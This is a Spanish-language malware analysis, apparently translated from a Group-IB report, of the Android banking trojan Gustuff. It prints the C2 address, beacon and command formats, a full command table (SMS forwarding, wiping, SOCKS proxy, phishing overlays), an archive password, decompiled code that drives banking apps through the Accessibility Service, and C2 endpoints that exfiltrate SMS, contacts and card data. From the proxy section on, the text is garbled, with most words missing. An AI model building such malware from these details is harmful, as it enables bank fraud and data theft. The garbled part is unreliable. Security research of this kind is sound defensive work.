
Justo el otro día, Group-IB
informó sobre la actividad del troyano móvil Android Gustuff. Funciona exclusivamente en mercados internacionales, atacando a clientes de los 100 bancos extranjeros más grandes, usuarios de 32 billeteras criptográficas móviles, así como grandes recursos de comercio electrónico. Pero el desarrollador de Gustuff es un ciberdelincuente de habla rusa bajo el apodo de Bestoffer. Hasta hace poco, elogió su troyano como "un producto serio para personas con conocimiento y experiencia".
Ivan Pisarev, especialista en análisis de códigos maliciosos del Grupo IB, en su investigación cuenta en detalle sobre cómo funciona Gustuff y cuál es su peligro.
¿Para quién busca Gustuff?
Gustuff es una nueva generación de malware con funciones totalmente automatizadas. Según el desarrollador, el troyano se ha convertido en una nueva versión mejorada del malware AndyBot, que desde noviembre de 2017 ha estado atacando teléfonos Android y robando dinero a través de formularios web de phishing que se hacen pasar por aplicaciones móviles de conocidos bancos internacionales y sistemas de pago. Bestoffer informó que el precio de alquiler de Gustuff Bot era de $ 800 por mes.
El análisis de la muestra de Gustuff mostró que el troyano está potencialmente dirigido a clientes que usan aplicaciones móviles de los bancos más grandes, como Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, así como Bitcoin Wallet, BitPay crypto wallets , Cryptopay, Coinbase, etc.
Originalmente creada como un troyano bancario clásico, la versión actual de Gustuff ha ampliado significativamente la lista de objetivos potenciales para el ataque. Además de las aplicaciones de Android de bancos, empresas de tecnología financiera y servicios de cifrado, Gustuff está dirigido a usuarios de aplicaciones de mercado, tiendas en línea, sistemas de pago y mensajería instantánea. En particular, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut y otros.
Punto de entrada: cálculo para infección masiva
Gustuff se caracteriza por el vector "clásico" de penetración en los teléfonos inteligentes Android a través del envío de SMS con enlaces a APK. Si el dispositivo Android está infectado con un troyano a las órdenes del servidor, Gustuff puede extenderse aún más a través de la base de datos de contactos del teléfono infectado o la base de datos del servidor. La funcionalidad de Gustuff está diseñada para la infección masiva y la capitalización máxima del negocio de sus operadores: tiene una función única de "autocompletar" en aplicaciones legítimas de banca móvil y billeteras criptográficas, lo que le permite acelerar y escalar el robo de dinero.
El estudio del troyano mostró que la función de autocompletar se implementó utilizando el Servicio de Accesibilidad, un servicio para personas con discapacidades. Gustuff no es el primer troyano que evita con éxito la protección contra la interacción con elementos de ventana de otras aplicaciones que utilizan este servicio de Android. Sin embargo, el uso del servicio de accesibilidad junto con la carga automática sigue siendo bastante raro.
Después de descargar a la víctima al teléfono, Gustuff, utilizando el Servicio de Accesibilidad, tiene la oportunidad de interactuar con elementos de ventana de otras aplicaciones (banca, criptomoneda, así como aplicaciones para compras en línea, mensajes, etc.), realizando las acciones necesarias para los atacantes. Por ejemplo, al comando del servidor, el troyano puede hacer clic en los botones y cambiar los valores de los campos de texto en las aplicaciones bancarias. El uso del mecanismo del Servicio de Accesibilidad permite al troyano eludir los mecanismos de protección utilizados por los bancos para contrarrestar los troyanos móviles de la generación anterior, así como los cambios en la política de seguridad introducida por Google en las nuevas versiones del sistema operativo Android. Entonces, Gustuff "sabe cómo" deshabilitar la protección de Google Protect: según el autor, esta función funciona en el 70% de los casos.

Gustuff también puede mostrar notificaciones PUSH falsas con íconos de aplicaciones móviles legítimas. El usuario hace clic en la notificación PUSH y ve una ventana de phishing descargada del servidor, donde él mismo ingresa los datos solicitados de una tarjeta bancaria o billetera criptográfica. En otro escenario de Gustuff, se abre una aplicación en nombre de la cual se muestra una notificación PUSH. En este caso, el programa malicioso, a pedido del servidor a través del Servicio de Accesibilidad, puede completar los campos del formulario de la aplicación bancaria para una transacción fraudulenta.
La funcionalidad de Gustuff también incluye el envío de información sobre un dispositivo infectado al servidor, la capacidad de leer / enviar mensajes SMS, enviar solicitudes USSD, iniciar Proxy SOCKS5, seguir el enlace, enviar archivos (incluidos escaneos fotográficos de documentos, capturas de pantalla, fotos) al servidor restablecer el dispositivo a la configuración de fábrica.
Análisis de malware
Antes de instalar una aplicación maliciosa, el sistema operativo Android muestra al usuario una ventana que contiene una lista de los derechos solicitados por Gustuff:
La instalación de la aplicación se realizará solo después de obtener el consentimiento del usuario. Después de iniciar la aplicación, el troyano le mostrará al usuario una ventana:
Luego eliminará su icono.
Gustuff es empaquetado, según el autor, por un empaquetador FTT. Después de comenzar, la aplicación accede periódicamente al servidor CnC para recibir comandos. En varios archivos que examinamos, la dirección IP
88.99.171 [.] 105 se utilizó como servidor de control (en adelante, la denominaremos
<% CnC%> ).
Después de comenzar, el programa comienza a enviar mensajes al servidor
http: // <% CnC%> /api/v1/get.php .
Como respuesta, se espera JSON en el siguiente formato:
{ "results" : "OK", "command":{ "id": "<%id%>", "command":"<%command%>", "timestamp":"<%Server Timestamp%>", "params":{ <%Command parameters as JSON%> }, }, }
Cada vez que la aplicación envía información sobre un dispositivo infectado. El formato del mensaje se presenta a continuación. Vale la pena señalar que los campos
completos ,
adicionales , de
aplicaciones y
permisos son opcionales y se enviarán solo en caso de un comando de solicitud de CnC.
{ "info": { "info": { "cell":<%Sim operator name%>, "country":<%Country ISO%>, "imei":<%IMEI%>, "number":<%Phone number%>, "line1Number":<%Phone number%>, "advertisementId":<%ID%> }, "state": { "admin":<%Has admin rights%>, "source":<%String%>, "needPermissions":<%Application needs permissions%>, "accesByName":<%Boolean%>, "accesByService":<%Boolean%>, "safetyNet":<%String%>, "defaultSmsApp":<%Default Sms Application%>, "isDefaultSmsApp":<%Current application is Default Sms Application%>, "dateTime":<%Current date time%>, "batteryLevel":<%Battery level%> }, "socks": { "id":<%Proxy module ID%>, "enabled":<%Is enabled%>, "active":<%Is active%> }, "version": { "versionName":<%Package Version Name%>, "versionCode":<%Package Version Code%>, "lastUpdateTime":<%Package Last Update Time%>, "tag":<%Tag, default value: "TAG"%>, "targetSdkVersion":<%Target Sdk Version%>, "buildConfigTimestamp":1541309066721 }, }, "full": { "model":<%Device Model%>, "localeCountry":<%Country%>, "localeLang":<%Locale language%>, "accounts":<%JSON array, contains from "name" and "type" of accounts%>, "lockType":<%Type of lockscreen password%> }, "extra": { "serial":<%Build serial number%>, "board":<%Build Board%>, "brand":<%Build Brand%>, "user":<%Build User%>, "device":<%Build Device%>, "display":<%Build Display%>, "id":<%Build ID%>, "manufacturer":<%Build manufacturer%>, "model":<%Build model%>, "product":<%Build product%>, "tags":<%Build tags%>, "type":<%Build type%>, "imei":<%imei%>, "imsi":<%imsi%>, "line1number":<%phonenumber%>, "iccid":<%Sim serial number%>, "mcc":<%Mobile country code of operator%>, "mnc":<%Mobile network codeof operator%>, "cellid":<%GSM-data%>, "lac":<%GSM-data%>, "androidid":<%Android Id%>, "ssid":<%Wi-Fi SSID%> }, "apps":{<%List of installed applications%>}, "permission":<%List of granted permissions%> }
Almacenamiento de datos de configuración
Gustuff almacena información importante del trabajo en un archivo de preferencias. El nombre del archivo, así como los nombres de los parámetros que
contiene , es el resultado del cálculo de la suma MD5 a partir de la línea
15413090667214.6.1 <% name%> , donde
<% name%> es el nombre-valor original. Interpretación de Python de la función de generación de nombres:
nameGenerator(input): output = md5("15413090667214.6.1" + input)
En el futuro lo denotaremos como
nameGenerator (input) .
Por lo tanto, el nombre del primer archivo es:
nameGenerator ("API_SERVER_LIST") , contiene valores con los siguientes nombres:
Nombre variable | Valor |
---|
nameGenerator ("API_SERVER_LIST") | Contiene una lista de direcciones CnC como una matriz. |
nameGenerator ("API_SERVER_URL") | Contiene una dirección CnC. |
nameGenerator ("SMS_UPLOAD") | La bandera está configurada por defecto. Si la bandera está activada, envía mensajes SMS a CnC. |
nameGenerator ("SMS_ROOT_NUMBER") | El número de teléfono al que se enviarán los mensajes SMS recibidos por el dispositivo infectado. El valor predeterminado es nulo. |
nameGenerator ("SMS_ROOT_NUMBER_RESEND") | La bandera se borra por defecto. Si está instalado, cuando un dispositivo infectado recibe un SMS, se enviará al número raíz. |
nameGenerator ("DEFAULT_APP_SMS") | La bandera se borra por defecto. Si se establece este indicador, la aplicación procesará los mensajes SMS entrantes. |
nameGenerator ("DEFAULT_ADMIN") | La bandera se borra por defecto. Si se establece el indicador, la aplicación tiene derechos de administrador. |
nameGenerator ("DEFAULT_ACCESSIBILITY") | La bandera se borra por defecto. Si se establece el indicador, se inicia un servicio que utiliza el Servicio de accesibilidad. |
nameGenerator ("APPS_CONFIG") | El objeto JSON contiene una lista de acciones que deben realizarse cuando se activa el evento de accesibilidad asociado con una aplicación en particular. |
nameGenerator ("APPS_INSTALLED") | Almacena una lista de aplicaciones instaladas en el dispositivo. |
nameGenerator ("IS_FIST_RUN") | La bandera se restablece en el primer inicio. |
nameGenerator ("UNIQUE_ID") | Contiene un identificador único. Se genera en el primer lanzamiento del bot. |
Módulo de procesamiento de comandos del servidor
La aplicación almacena las direcciones de los servidores CnC como una matriz de
cadenas codificadas
Base85 . La lista de servidores CnC se puede cambiar al recibir el comando apropiado, en cuyo caso las direcciones se almacenarán en un archivo de preferencias.
En respuesta a la solicitud, el servidor envía un comando a la aplicación. Vale la pena señalar que los comandos y parámetros se presentan en formato JSON. Una aplicación puede procesar los siguientes comandos:
El equipo | Descripción |
---|
forwardStart | Comience a enviar mensajes SMS recibidos por el dispositivo infectado al servidor CnC. |
forwardStop | Deje de enviar mensajes SMS recibidos por el dispositivo infectado al servidor CnC. |
ussdRun | Ejecute la solicitud de USSD. El número al que desea realizar una solicitud USSD está en el campo "número" de JSON. |
sendSms | Envíe un mensaje SMS (si es necesario, el mensaje se "divide" en partes). Como parámetro, el comando toma un objeto JSON que contiene los campos "a" - el número de destino y el "cuerpo" - el cuerpo del mensaje. |
sendSmsAb | Envíe mensajes SMS (si es necesario, el mensaje se "divide" en partes) a todos desde la lista de contactos del dispositivo infectado. El intervalo entre el envío de mensajes es de 10 segundos. El cuerpo del mensaje está en el campo JSON "cuerpo" |
sendSmsMass | Envíe mensajes SMS (si es necesario, el mensaje se "divide" en partes) a los contactos especificados en los parámetros del comando. El intervalo entre el envío de mensajes es de 10 segundos. Como parámetro, el comando acepta una matriz JSON (campo "sms"), cuyos elementos contienen los campos "a" - el número de destino y "cuerpo" - el cuerpo del mensaje. |
changeServer | Este comando como parámetro puede tomar un valor con la clave "url" - luego el bot cambiará el valor de nameGenerator ("SERVER_URL"), o "array" - luego el bot escribirá el array en nameGenerator ("API_SERVER_LIST") Por lo tanto, la aplicación cambia la dirección de los servidores CnC. |
adminNumber | El comando está diseñado para funcionar con el número raíz. El comando acepta un objeto JSON con los siguientes parámetros: "número" - cambiar nameGenerator ("ROOT_NUMBER") al valor recibido, "reenviar" - cambiar nameGenerator ("SMS_ROOT_NUMBER_RESEND"), "sendId" - enviar a nameGenerator ("ROOT_NUMBER") uniqueID. |
updateInfo | Enviar información sobre un dispositivo infectado al servidor. |
wipeData | El comando está diseñado para eliminar datos de usuario. Dependiendo de qué nombre se inició la aplicación, los datos se borran completamente con el reinicio del dispositivo (usuario principal) o solo se eliminan los datos del usuario (usuario secundario). |
calcetines | Inicie el módulo proxy. El funcionamiento del módulo se describe en una sección separada. |
calcetines | Detenga el módulo proxy. |
openLink | Sigue el enlace. El enlace se encuentra en el parámetro JSON por la clave "url". Para abrir el enlace, use "android.intent.action.VIEW". |
uploadAllSms | Envíe al servidor todos los mensajes SMS recibidos por el dispositivo. |
uploadAllPhotos | Enviar imágenes desde un dispositivo infectado a la URL. La URL viene como un parámetro. |
uploadFile | Envíe el archivo a la URL desde el dispositivo infectado. La URL viene como un parámetro. |
uploadPhoneNumbers | Enviar números de teléfono de la lista de contactos al servidor. Si un objeto JSON con la clave "ab" viene como parámetro, la aplicación recibe la lista de contactos de la guía telefónica. Si un objeto JSON con la tecla "sms" viene como parámetro, la aplicación lee la lista de contactos de los remitentes de los mensajes SMS. |
changeArchive | La aplicación descarga el archivo desde la dirección, que viene como un parámetro con la clave "url". El archivo descargado se guarda con el nombre "archive.zip". Después de eso, la aplicación descomprimirá el archivo, si es necesario, utilizando la contraseña para el archivo "b5jXh37gxgHBrZhQ4j3D". Los archivos descomprimidos se guardan en el directorio [almacenamiento externo] / hgps. En este directorio, la aplicación almacena falsificaciones web (descritas más adelante). |
acciones | El comando está diseñado para funcionar con el Servicio de acción, que se describe en una sección separada. |
prueba | No hace nada |
descargar | El comando está diseñado para descargar un archivo de un servidor remoto y guardarlo en el directorio de Descargas. La URL y el nombre del archivo vienen como un parámetro, los campos en el parámetro del objeto JSON, respectivamente: "url" y "fileName". |
quitar | Elimina un archivo del directorio de descargas. El nombre del archivo viene en el parámetro JSON con la clave "fileName". El nombre de archivo predeterminado es "tmp.apk". |
notificación | Muestra una notificación con los textos de descripción y título definidos por el servidor de administración. |
El formato del comando de
notificación es:
{ "results" : "OK", "command":{ "id": <%id%>, "command":"notification", "timestamp":<%Server Timestamp%>, "params":{ "openApp":<%Open original app or not%>, "array":[ {"title":<%Title text%>, "desc":<%Description text%>, "app":<%Application name%>} ] }, }, }
La notificación generada por el archivo investigado se ve idéntica a las notificaciones creadas por la aplicación especificada en el campo de la
aplicación . Si el valor del campo
openApp es True, cuando se abre la notificación, se inicia la aplicación especificada en el campo de la
aplicación . Si el valor del campo
openApp es False, entonces:
- se abre una ventana de phishing, cuyo contenido se descarga del directorio <% external storage%> / hgps / <% filename%>
- se abre una ventana de phishing, cuyo contenido se descarga del servidor <% url%>? id = <% Bot id%> & app = <% Application name%>
- Se abre una ventana de phishing disfrazada de una Tarjeta Google Play, con la capacidad de ingresar información de la tarjeta.
La aplicación envía el resultado de la ejecución de cualquier comando a
<% CnC%> \ set_state.php como un objeto JSON del siguiente formato:
{ "command": { "command":<%command%>, "id":<%command_id%>, "state":<%command_state%> } "id":<%bot_id%> }
Acciones de servicioLa lista de comandos que procesa la aplicación incluye
acciones . Al recibir un comando, el módulo de procesamiento de comandos accede a este servicio para ejecutar un comando extendido. El servicio acepta un objeto JSON como parámetro. Un servicio puede ejecutar los siguientes comandos:
1. PARAMS_ACTION : al recibir dicho comando, el servicio recibe, en primer lugar, del parámetro JSON el valor mediante la tecla Tipo, puede ser el siguiente:
- serviceInfo : el subcomando recibe del parámetro JSON el valor de la clave includeNotImportant . Si el indicador es True, la aplicación establece el indicador FLAG_ISOLATED_PROCESS en un servicio que utiliza el Servicio de accesibilidad. Por lo tanto, el servicio se lanzará en un proceso separado.
- root : obtener y enviar al servidor información sobre la ventana, que ahora está enfocada. Una aplicación recupera información utilizando la clase AccessibilityNodeInfo.
- admin : solicita derechos de administrador.
- delay : suspende el ActionsService por la cantidad de milisegundos que se especifica en el parámetro con la tecla "datos".
- ventanas : envíe una lista de ventanas visibles para el usuario.
- instalar : instala la aplicación en un dispositivo infectado. El nombre del paquete - archivo está en la clave "fileName". El archivo en sí está ubicado en el directorio de Descargas.
- global : el subcomando está diseñado para realizar la transición desde la ventana actual:
- en el menú de Configuración rápida
- volver
- casa
- a las notificaciones
- a la ventana de aplicaciones abiertas recientemente
- launch : inicia la aplicación. El nombre de la aplicación viene como parámetro por la clave de datos .
- sonidos : cambie el modo de sonido a silencio.
- desbloquear : enciende la luz de fondo de la pantalla y el teclado a pleno brillo. La aplicación realiza esta acción usando WakeLock, la cadena [Etiqueta de la aplicación]: INFO
- permissionOverlay : la función no está implementada (la respuesta a la ejecución del comando es {"mensaje": "No es compatible"} o {"mensaje": "sdk bajo"})
- gesto : la función no está implementada (la respuesta a la ejecución del comando es {"mensaje": "No es compatible"} o {"mensaje": "API baja"})
- permisos : este comando es necesario para solicitar permisos para la aplicación. Sin embargo, la función de consulta no está implementada, por lo que el comando no tiene sentido. La lista de derechos solicitados viene como una matriz JSON con la clave "permisos". Lista estándar:
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- abierto : muestra una ventana de phishing. Dependiendo del parámetro que provenga del servidor, la aplicación puede mostrar las siguientes ventanas de phishing:
- Muestra una ventana de phishing, cuyo contenido está escrito en el archivo en el directorio <% directorio externo%> / hgps / <% param_filename%> . El resultado de la interacción del usuario con la ventana se enviará a <% CnC%> / records.php
- Mostrar una ventana de phishing cuyos contenidos están precargados desde la dirección <% url_param%>? Id = <% bot_id%> & app = <% packagename%> . El resultado de la interacción del usuario con la ventana se enviará a <% CnC%> / records.php
- Mostrar ventana de phishing disfrazada de una tarjeta Google Play.
- interactivo : el comando está diseñado para interactuar con elementos de ventana de otras aplicaciones que utilizan AcessibilityService. Para la interacción, se implementa un servicio especial en el programa. La aplicación en estudio puede interactuar con las ventanas:
- Activo en este momento. En este caso, el parámetro contiene la identificación o el texto (nombre) del objeto con el que es necesario interactuar.
- Visible para el usuario en el momento en que se ejecuta el comando. La aplicación selecciona ventanas por id.
Al recibir los objetos AccessibilityNodeInfo para los elementos de ventana de interés, la aplicación, según los parámetros, puede realizar acciones:
- focus: establece el foco en el objeto.
- clic: haga clic en un objeto.
- actionId: realiza una acción por ID.
- setText: cambia el texto del objeto. Es posible cambiar el texto de dos maneras: realice la acción ACTION_SET_TEXT (si la versión de Android del dispositivo infectado es más joven o igual a LOLLIPOP ), o colocando una línea en el portapapeles y pegándola en el objeto (para versiones anteriores). Este comando se puede usar para cambiar datos en una aplicación bancaria.
2. PARAMS_ACTIONS : lo mismo que
PARAMS_ACTION , solo viene la matriz de comandos JSON.
Parece que muchos estarán interesados en cómo se ve la función de interactuar con elementos de ventana de otra aplicación. Así es como se implementa esta funcionalidad en Gustuff:
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) { int count = action.optInt("repeat", 1); Iterator aiListIterator = ((Iterable)aiList).iterator(); int count = 0; while(aiListIterator.hasNext()) { Object ani = aiListIterator.next(); if(1 <= count) { int index; for(index = 1; true; ++index) { if(action.has("focus")) { if(((AccessibilityNodeInfo)ani).performAction(1)) { ++count; } } else if(action.has("click")) { if(((AccessibilityNodeInfo)ani).performAction(16)) { ++count; } } else if(action.has("actionId")) { if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) { ++count; } } else if(action.has("setText")) { customHeader ch = CustomAccessibilityService.a; Context context = this.getApplicationContext(); String text = action.optString("setText"); if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) { ++count; } } if(index == count) { break; } } } ((AccessibilityNodeInfo)ani).recycle(); } res.addPropertyNumber("res", Integer.valueOf(count)); }
Función de reemplazo de texto:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) { boolean result; if(Build$VERSION.SDK_INT >= 21) { Bundle b = new Bundle(); b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text)); result = ani.performAction(0x200000, b);
Por lo tanto, si el servidor de control está configurado correctamente, Gustuff puede completar los campos de texto en la aplicación bancaria y hacer clic en los botones necesarios para la transacción. El troyano ni siquiera necesita autorización en la aplicación, solo envíe un comando para demostrar la notificación PUSH, seguido de la apertura de la aplicación bancaria previamente instalada. El usuario pasará por una autorización, después de lo cual Gustuff podrá rellenarse automáticamente.
Módulo de procesamiento de SMS
La aplicación configura el controlador de eventos para aceptar mensajes SMS del dispositivo infectado. La aplicación en estudio puede recibir comandos del operador que vienen en el cuerpo de los mensajes SMS. Los comandos vienen en el formato:
7! 5 = <% Comando codificado Base64%>La aplicación busca en todos los mensajes SMS entrantes la cadena
7! 5 = , si detecta una cadena, decodifica una cadena Base64 en el desplazamiento 4 y ejecuta el comando. Los comandos son similares a los comandos con CnC. El resultado de la ejecución se envía al mismo número del que proviene el comando. Formato de respuesta:
7 * 5 = <% Codificación Base64 del "comando result_code"%>Opcionalmente, la aplicación puede enviar todos los mensajes recibidos al número raíz. Para hacer esto, se debe especificar un número de raíz en el archivo de preferencias y se establece el indicador de redirección de mensajes. Se envía un mensaje SMS al número del atacante en el formato:
<% Del número%> - <% Hora, formato: dd / MM / aaaa HH: mm: ss%> <% SMS body%>También opcionalmente, la aplicación puede enviar mensajes a CnC. El mensaje SMS se envía al servidor en formato JSON:
{ "id":<%BotID%>, "sms": { "text":<%SMS body%>, "number":<%From number%>, "date":<%Timestamp%> } }
Si se establece el flag
nameGenerator ("DEFAULT_APP_SMS") , la aplicación deja de procesar mensajes SMS y borra la lista de mensajes entrantes.
Módulo proxy
En la aplicación en estudio, hay un módulo Proxy de Backconnect (en adelante denominado el módulo Proxy), que tiene una clase separada que incluye campos estáticos con configuración. Los datos de configuración se almacenan en la muestra en forma abierta:
Todas las acciones realizadas por el módulo Proxy se registran en los archivos. Para hacer esto, la aplicación en Almacenamiento externo crea un directorio llamado "registros" (el campo ProxyConfigClass.logsDir en la clase de configuración), en el que se almacenan los archivos de registro. El registro se produce en archivos con nombres:
- main.txt : esta clase registra el funcionamiento de la clase con el nombre CommandServer. El registro posterior de la cadena str en este archivo se indicará como mainLog (str).
- session - <% id%>. txt - los datos de registro asociados con una sesión proxy específica se guardan en este archivo. El registro posterior de la cadena str en este archivo se denominará sessionLog (str).
- server.txt : estos datos registran todos los datos escritos en los archivos anteriores.
Formato de datos de registro:
<% Date%> [Thread [<% thread id%>], id []]: log-string
Las excepciones que ocurren durante la operación del módulo Proxy también se registran en un archivo. Para esto, la aplicación genera un objeto JSON del formato:
{ "uncaughtException":<%short description of throwable%> "thread":<%thread%> "message":<%detail message of throwable%> "trace": //Stack trace info [ { "ClassName": "FileName": "LineNumber": "MethodName": }, { "ClassName": "FileName": "LineNumber": "MethodName": } ] }
Luego lo convierte en una representación de cadena y registros.
El módulo proxy se inicia después de la recepción del equipo apropiado. Cuando llega un comando para iniciar el módulo Proxy, la aplicación inicia un servicio llamado
MainService , que es responsable de controlar el funcionamiento del módulo Proxy: su inicio y detención.
Etapas de inicio del servicio:
1. Inicia un temporizador que funciona una vez por minuto y verifica la actividad del módulo proxy. Si el módulo no está activo, lo inicia.
Además, cuando se activa el evento
android.net.conn.CONNECTIVITY_CHANGE , se inicia el módulo Proxy.
2. La aplicación crea un bloqueo de
activación con el parámetro
PARTIAL_WAKE_LOCK y lo captura. Por lo tanto, no permite que la CPU del dispositivo entre en modo de suspensión.
3. Inicia la clase de procesamiento de comandos del módulo proxy registrando primero la línea mainLog
("iniciar servidor") y
Servidor :: servidor de inicio () [<% proxy_cnc%>], commandPort [<% command_port%>], proxyPort [<% proxy_port%>]donde
proxy_cnc, command_port y proxy_port son los parámetros obtenidos de la configuración del servidor proxy.
La clase de procesamiento de comandos se llama
CommandConnection . Inmediatamente después del lanzamiento, realiza las siguientes acciones:
4. Se conecta a
ProxyConfigClass.host :
ProxyConfigClass.commandPort y envía allí los datos sobre el dispositivo infectado en formato JSON:
{ "id":<%id%>, "imei":<%imei%>, "imsi":<%imsi%>, "model":<%model%>, "manufacturer":<%manufacturer%>, "androidVersion":<%androidVersion%>, "country":<%country%>, "partnerId":<%partnerId%>, "packageName":<%packageName%>, "networkType":<%networkType%>, "hasGsmSupport":<%hasGsmSupport%>, "simReady":<%simReady%>, "simCountry":<%simCountry%>, "networkOperator":<%networkOperator%>, "simOperator":<%simOperator%>, "version":<%version%> }
Donde:
- id: identificador que intenta obtener el valor con el campo "id" del archivo de preferencias compartidas con el nombre "x". Si no se puede obtener este valor, genera uno nuevo. Por lo tanto, el módulo proxy tiene su propio identificador, que se genera de manera similar a la ID de Bot.
- imei: dispositivos IMEI. Si se produjo un error al recibir el valor, se escribirá un mensaje de texto de error en lugar de este campo.
- imsi: dispositivos de identidad de suscriptor móvil internacional. Si se produjo un error al recibir el valor, se escribirá un mensaje de texto de error en lugar de este campo.
- modelo: el nombre visible para el usuario final del producto final.
- fabricante: el fabricante del producto / hardware (Build.MANUFACTURER).
- androidVersion: una cadena en el formato "<% release_version%> (<% os_version%>), <% sdk_version%>"
- país: la ubicación actual del dispositivo.
- partnerId es una cadena vacía.
- packageName: nombre del paquete.
- networkType — (: «WIFI», «MOBILE»). null.
- hasGsmSupport – true – GSM, false.
- simReady – SIM-.
- simCountry — ISO- ( ̆ -).
- networkOperator — . — .
- simOperator — The Service Provider Name (SPN). — .
- version — -, ̆ «1.6».
5. . :
- 0 offset – command
- 1 offset – sessionId
- 2 offset – length
- 4 offset — data
:
mainLog(«Header { sessionId<%id%>], type[<%command%>], length[<%length%>] }»):
Name | Command | Data | Descripción |
---|
connectionId | 0 0 | Connection ID | |
SLEEP | 3 | Tiempo | Proxy- |
PING_PONG | 4 4 | - | PONG- |
PONG- 4 :
0x04000000 .
connectionId ( )
CommandConnection ProxyConnection .
- : ProxyConnection end . ProxyConnection ProxyConfigClass.host : ProxyConfigClass.proxyPort JSON-:
{ "id":<%connectionId%> }
SOCKS5-, , . ̆
end . :
̆
̆ CnC- SSL. JSON-. :
- http://<%CnC%>/api/v1/set_state.php — .
- http://<%CnC%>/api/v1/get.php — .
- http://<%CnC%>/api/v1/load_sms.php — SMS-̆ ̆.
- http://<%CnC%>/api/v1/load_ab.php — ̆.
- http://<%CnC%>/api/v1/aevents.php – , preference-̆.
- http://<%CnC%>/api/v1/set_card.php — , -, Google Play Market.
- http://<%CnC%>/api/v1/logs.php – -.
- http://<%CnC%>/api/v1/records.php – , .
- http://<%CnC%>/api/v1/set_error.php – ̆ .
, , .
, . , , .
– - , , -, , , , , .
:
- Android - , Google Play;
- ;
- Android;
- ;
- ;
- , SMS-.
, Group-IB.